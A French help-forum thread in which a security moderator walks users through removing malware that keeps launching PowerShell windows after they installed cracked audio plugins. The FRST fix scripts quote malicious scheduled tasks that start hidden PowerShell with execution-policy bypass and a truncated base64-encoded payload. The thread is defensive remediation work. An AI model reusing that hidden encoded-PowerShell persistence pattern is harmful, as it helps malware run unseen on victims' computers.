Fenêtre de commande Powershell qui se lance seule
Résolu
Letabo
-
bazfile Messages postés 58601 Date d'inscription Statut Modérateur, Contributeur sécurité Dernière intervention -
bazfile Messages postés 58601 Date d'inscription Statut Modérateur, Contributeur sécurité Dernière intervention -
Bonjour,
En fait j'ai DL des vst (crack) pour FL studio.
Un fichier dans mon dl était un iso c'était étrange mais je l'ai activé.
Bref moyen que ce soit un virus. Mon windows defender l'a localisé et supprimé. Cependant depuis lors une fenêtre de cmd powershell s'active seule et si je la ferme elle se ré-ouvre un peu après.
J'ai fait 4 ou 5 analyse de mon pc avec divers logiciel et mon pc semble clean sans virus.
Si vous pouvez m'aider j'suis chaud Merci
En fait j'ai DL des vst (crack) pour FL studio.
Un fichier dans mon dl était un iso c'était étrange mais je l'ai activé.
Bref moyen que ce soit un virus. Mon windows defender l'a localisé et supprimé. Cependant depuis lors une fenêtre de cmd powershell s'active seule et si je la ferme elle se ré-ouvre un peu après.
J'ai fait 4 ou 5 analyse de mon pc avec divers logiciel et mon pc semble clean sans virus.
Si vous pouvez m'aider j'suis chaud Merci
A voir également:
- Windows powershell s'ouvre tout seul
- Clé windows 8 - Guide
- Montage video windows - Guide
- Windows ne démarre pas - Guide
- Windows movie maker - Télécharger - Montage & Édition
- Restauration systeme windows 10 - Guide
4 réponses
Bonjour,
Télécharge FRST une fois téléchargé enregistre-le sur le bureau puis clique avec le bouton droit de ta souris sur FRST et choisi Exécuter en tant qu'administrateur tu auras ceci :
Clique sur Analyser
À la fin de l'analyse tu auras deux fichiers texte sur le bureau FRST et Addition, .
Ensuite envoie les rapports FRST et ADDITION sur CJOINT voir CE TUTORIEL puis donne les deux liens générés par Cjoint dans ta réponse.
Télécharge FRST une fois téléchargé enregistre-le sur le bureau puis clique avec le bouton droit de ta souris sur FRST et choisi Exécuter en tant qu'administrateur tu auras ceci :
Clique sur Analyser
Attention de bien attendre que les messages disant que l'analyse est terminée s'affichent
À la fin de l'analyse tu auras deux fichiers texte sur le bureau FRST et Addition, .
Ensuite envoie les rapports FRST et ADDITION sur CJOINT voir CE TUTORIEL puis donne les deux liens générés par Cjoint dans ta réponse.
bonjour , j'ai une probleme de powershell qui ce lance seul au bout de 6-7 minute une fraction de seconde et s'arette , quel qu'un peux maider ? voici les deux fichier
https://www.cjoint.com/c/LAmcPaHScSy
https://www.cjoint.com/c/LAmcQpmff6y
https://www.cjoint.com/c/LAmcPaHScSy
https://www.cjoint.com/c/LAmcQpmff6y
Advanced system Care est actif sur ton pc alors qu'il n'est pas dans les programmes installés tu es au courant ? Si tu veux je peux le virer avec un autre script.
Procédure à faire dans l'ordre indiqué :
1- Ouvre FRST en tant qu'administrateur pour cela avec le bouton droit de ta souris sur FRST et choisis exécuter en tant qu'administrateur
2 - Copie l'intégralité du script qui est dans l'encadré qui suit :
3- Une fois le script copié clique sur Corriger, FRST prend automatiquement le script qui est dans le presse-papier.
Laisse la correction se faire une fois qu'elle est terminée il te sera demandé de redémarrer ton pc, fait-le dès que cela te sera demandé, voir ci-dessous.
Puis une fois ton ordinateur redémarré :
4- Tu auras un fichier Fixlog sur ton bureau ensuite envoie ces rapports sur https://www.cjoint.com/ voir ce tutoriel puis donne le lien généré par Cjoint dans ton prochain message.
Procédure à faire dans l'ordre indiqué :
1- Ouvre FRST en tant qu'administrateur pour cela avec le bouton droit de ta souris sur FRST et choisis exécuter en tant qu'administrateur
2 - Copie l'intégralité du script qui est dans l'encadré qui suit :
Start::
CreateRestorePoint:
CloseProcesses:
GroupPolicy: Restriction ?
HKLM\SOFTWARE\Policies\Mozilla\Firefox: Restriction
Task: {16D6A1F0-B63A-4E84-84C4-D00FA9B4029B} - System32\Tasks\r522d9\n8txqa\fffbt9\z194sc\czhi7p\jiadhu\l6e69n\6t0xdf\osjrem\0am5af\l0j9fi\tg3t94\cwo3dh\reyo3g\hcat5z\qt7jta\zgviq7 => C:\Program Files (x86)\Sclerosing\sdn.exe (Pas de fichier)
Task: {66867DB2-AC93-456C-81DF-34D7CDFA7B3C} - System32\Tasks\ph9d7j\l14v5c\yhl7j1\6sw5ms\r3s5cl\h36mc9\s6hev8\nlq4nw\la0oov\3k2xnn\t1yetr\mk0701\0kax79\pi96rf\n4tboz\jx29nk\krxyfo => C:\Users\Séb\AppData\Local\barthelme.exe [39663 2021-12-10] () [Fichier non signé]
Task: {6808E14E-563E-40A8-BBA2-042EE74D77E9} - System32\Tasks\ChromeMonitor => cmd /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E JABlAHgAdABQAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQApAFwAYwBoAHIAbwBtAGUAIgAKACQAYwBvAG4AZgBQAGEAdABoACAAPQAgACIAJABlAHgAdABQAGEAdABoAFwAYwBvAG4AZgAuAGoAcwAiAAoAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAI (l'élément de données a 6023 caractères en plus).
Task: {F15C320F-F9C6-4A7B-B5D1-1ED2382EB4CB} - System32\Tasks\AdvancedUpdater => C:\Program Files (x86)\AW Manager\Windows Manager\Windows Updater.exe [1010800 2021-04-12] (Microleaves LTD -> AW Manager)
CHR Notifications: Default -> hxxps://shopperplus.webpush.freshchat.com
S3 cpuz145; \??\C:\Windows\temp\cpuz145\cpuz145_x64.sys [X]
S3 iobit_monitor_server; \??\C:\Program Files (x86)\IObit\Advanced SystemCare Ultimate\drivers\Monitor_win10_x64.sys [X]
EmptyTemp:
End::
3- Une fois le script copié clique sur Corriger, FRST prend automatiquement le script qui est dans le presse-papier.
Laisse la correction se faire une fois qu'elle est terminée il te sera demandé de redémarrer ton pc, fait-le dès que cela te sera demandé, voir ci-dessous.
Puis une fois ton ordinateur redémarré :
4- Tu auras un fichier Fixlog sur ton bureau ensuite envoie ces rapports sur https://www.cjoint.com/ voir ce tutoriel puis donne le lien généré par Cjoint dans ton prochain message.
Une fois ton pc redémarré :
5- Réinitialise Google Chrome avec CE LOGICIEL.6- VÉRIFIE ET DIS-MOI SI TON PROBLÈME EST TOUJOURS PRÉSENT
.
bonjour , merci de votre reponse ,
oui je sais qu'il est installer et je l'execute seulement quand je veux l'utiliser donc j'aimerais ne pas le supprimer.
mon probleme est nouveau depuis hier alors que systemcare est installer depuis un bon bout.
alors , ta commande cetais seulement pour systeme care ?
merci
oui je sais qu'il est installer et je l'execute seulement quand je veux l'utiliser donc j'aimerais ne pas le supprimer.
mon probleme est nouveau depuis hier alors que systemcare est installer depuis un bon bout.
alors , ta commande cetais seulement pour systeme care ?
merci
https://www.cjoint.com/c/LAmo44Nvwmo
voila le dernier fichier. je vais verifier si le probleme est resolu !
merci de votre aide je vous tien au courant
voila le dernier fichier. je vais verifier si le probleme est resolu !
merci de votre aide je vous tien au courant
Bonjour, j'ai le même soucis, powershell se lance régulièrement et se ferme tout seul juste après depuis 3-4 jours c'est assez embêtant quand je joue ou je suis sur internet, Serait-il possible qu'on m'aide voici mes fichiers
https://www.cjoint.com/c/LApqvYMKhEM
https://www.cjoint.com/c/LApqwMqoHPM
https://www.cjoint.com/c/LApqvYMKhEM
https://www.cjoint.com/c/LApqwMqoHPM
Désinstalle Wondershare Helper Compact c'est un adware.
Procédure à faire dans l'ordre indiqué :
1- Ouvre FRST en tant qu'administrateur pour cela avec le bouton droit de ta souris sur FRST et choisis exécuter en tant qu'administrateur
2 - Copie l'intégralité du script qui est dans l'encadré qui suit :
3- Une fois le script copié clique sur Corriger, FRST prend automatiquement le script qui est dans le presse-papier.
Laisse la correction se faire une fois qu'elle est terminée il te sera demandé de redémarrer ton pc, fait-le dès que cela te sera demandé, voir ci-dessous.
Puis :
Procédure à faire dans l'ordre indiqué :
1- Ouvre FRST en tant qu'administrateur pour cela avec le bouton droit de ta souris sur FRST et choisis exécuter en tant qu'administrateur
2 - Copie l'intégralité du script qui est dans l'encadré qui suit :
Start::
CreateRestorePoint:
CloseProcesses:
HKLM\...\Run: [Wondershare Helper Compact.exe] => C:\Program Files\Common Files\Wondershare\Wondershare Helper Compact\WSHelper.exe (Pas de fichier)
HKLM-x32\...\Run: [Wondershare Helper Compact.exe] => C:\Program Files (x86)\Common Files\Wondershare\Wondershare Helper Compact\WSHelper.exe [2133728 2017-09-12] (Wondershare Technology Co.,Ltd -> Wondershare)
HKU\S-1-5-21-3857265591-1822313065-3115185372-1001\...\Run: [CCXProcess] => "C:\Program Files\Adobe\Adobe Creative Cloud Experience\CCXProcess.exe" (Pas de fichier)
HKU\S-1-5-21-3857265591-1822313065-3115185372-1001\...\Run: [EpicGamesLauncher] => "C:\Program Files (x86)\Epic Games\Launcher\Portal\Binaries\Win64\EpicGamesLauncher.exe" -silent (Pas de fichier)
HKU\S-1-5-21-3857265591-1822313065-3115185372-1001\...\Run: [EADM] => "C:\Program Files (x86)\Origin\Origin.exe" -AutoStart (Pas de fichier)
Task: {00C05BBD-A921-4A2C-856D-DAAC74B19A7C} - System32\Tasks\MSIAfterburner => C:\Program Files (x86)\MSI Afterburner\MSIAfterburner.exe /s (Pas de fichier)
Task: {25E52F46-FC09-4F4E-AB91-4C6B7ED63F26} - System32\Tasks\ChromeTask => cmd /c start /min "" powershell -ExecutionPolicy Bypass -WindowStyle Hidden -E JABlAHgAdABQAGEAdABoACAAPQAgACIAJAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQApAFwAYwBoAHIAbwBtAGUAIgAKACQAYwBvAG4AZgBQAGEAdABoACAAPQAgACIAJABlAHgAdABQAGEAdABoAFwAYwBvAG4AZgAuAGoAcwAiAAoAJABhAHIAYwBoAGkAdgBlAE4AYQBtAGUAI (l'élément de données a 4319 caractères en plus).
Edge Extension: (Pas de nom) -> AutoFormFill_5ED10D46BD7E47DEB1F3685D2C0FCE08 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\AutoFormFill [non trouvé(e)]
Edge Extension: (Pas de nom) -> BookReader_B171F20233094AC88D05A8EF7B9763E8 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\BookViewer [non trouvé(e)]
Edge Extension: (Pas de nom) -> LearningTools_7706F933-971C-41D1-9899-8A026EB5D824 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\LearningTools [non trouvé(e)]
Edge Extension: (Pas de nom) -> PinJSAPI_EC01B57063BE468FAB6DB7EBFC3BF368 => C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Assets\HostExtensions\PinJSAPI [non trouvé(e)]
CHR Notifications: Default -> hxxps://onepiece-streaming.co; hxxps://veryleaks.cz
S3 EpicOnlineServices; "C:\Program Files (x86)\Epic Games\Epic Online Services\service\EpicOnlineServicesHost.exe" [X]
S3 Origin Client Service; "C:\Program Files (x86)\Origin\OriginClientService.exe" [X]
S3 SteelSeriesUpdateService; "C:\Program Files\SteelSeries\SteelSeries Engine 3\SteelSeriesUpdateService.exe" [X]
S3 VBAudioVMAUXVAIOMME; \SystemRoot\System32\drivers\vbaudio_vmauxvaio64_win10.sys [X]
S3 VBAudioVMVAIOMME; \SystemRoot\System32\drivers\vbaudio_vmvaio64_win10.sys [X]
C:\Windows\system32\Tasks\ChromeTask
ShellIconOverlayIdentifiers: [ MEGA (Pending)] -> {056D528D-CE28-4194-9BA3-BA2E9197FF8C} => C:\Users\Admin\AppData\Local\MEGAsync\ShellExtX64.dll -> Pas de fichier
ShellIconOverlayIdentifiers: [ MEGA (Synced)] -> {05B38830-F4E9-4329-978B-1DD28605D202} => C:\Users\Admin\AppData\Local\MEGAsync\ShellExtX64.dll -> Pas de fichier
ShellIconOverlayIdentifiers: [ MEGA (Syncing)] -> {0596C850-7BDD-4C9D-AFDF-873BE6890637} => C:\Users\Admin\AppData\Local\MEGAsync\ShellExtX64.dll -> Pas de fichier
ContextMenuHandlers1: [MEGA (Context menu)] -> {0229E5E7-09E9-45CF-9228-0228EC7D5F17} => C:\Users\Admin\AppData\Local\MEGAsync\ShellExtX64.dll -> Pas de fichier
ContextMenuHandlers2: [MEGA (Context menu)] -> {0229E5E7-09E9-45CF-9228-0228EC7D5F17} => C:\Users\Admin\AppData\Local\MEGAsync\ShellExtX64.dll -> Pas de fichier
ContextMenuHandlers3: [MEGA (Context menu)] -> {0229E5E7-09E9-45CF-9228-0228EC7D5F17} => C:\Users\Admin\AppData\Local\MEGAsync\ShellExtX64.dll -> Pas de fichier
ContextMenuHandlers4: [MEGA (Context menu)] -> {0229E5E7-09E9-45CF-9228-0228EC7D5F17} => C:\Users\Admin\AppData\Local\MEGAsync\ShellExtX64.dll -> Pas de fichier
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini:B1DA6C571C [10]
AlternateDataStreams: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PC Health Check.lnk:F20EF51E1F [10]
AlternateDataStreams: C:\Users\Public\Shared Files:VersionCache [490]
cmd: netsh advfirewall reset
Hosts:
EmptyTemp:
End::
3- Une fois le script copié clique sur Corriger, FRST prend automatiquement le script qui est dans le presse-papier.
Laisse la correction se faire une fois qu'elle est terminée il te sera demandé de redémarrer ton pc, fait-le dès que cela te sera demandé, voir ci-dessous.
IMPORTANT une fois ton ordinateur redémarré :
4- Tu auras un fichier Fixlog sur ton bureau ensuite envoie ces rapports sur https://www.cjoint.com/ voir ce tutoriel puis donne le lien généré par Cjoint dans ton prochain message.IMPORTANT :
5- Réinitialise Google Chrome avec CE LOGICIEL.Puis :
6- VÉRIFIE ET DIS-MOI SI TON PROBLÈME EST TOUJOURS PRÉSENT
Voici le lien généré :
https://www.cjoint.com/c/LAprOiJGbDM
J'ai suivis les étapes j'attend de savoir si cela fonctionne merci.
https://www.cjoint.com/c/LAprOiJGbDM
J'ai suivis les étapes j'attend de savoir si cela fonctionne merci.
Tu n'as pas exécuté le script que je t'ai indiqué, tu as pris un script qui ne t'était pas destiné car ce n'estpas celui qui est dans mon précédent message (n°10), donc ton problème est certainement toujours présent, il faut faire ce que j'indique pas autre chose.
C'est ce script qui fallait faire https://forums.commentcamarche.net/forum/affich-37478510-fenetre-de-commande-powershell-qui-se-lance-seule#10 et non pas celui qui était destiné à seb l'auteur de ce post.
C'est ce script qui fallait faire https://forums.commentcamarche.net/forum/affich-37478510-fenetre-de-commande-powershell-qui-se-lance-seule#10 et non pas celui qui était destiné à seb l'auteur de ce post.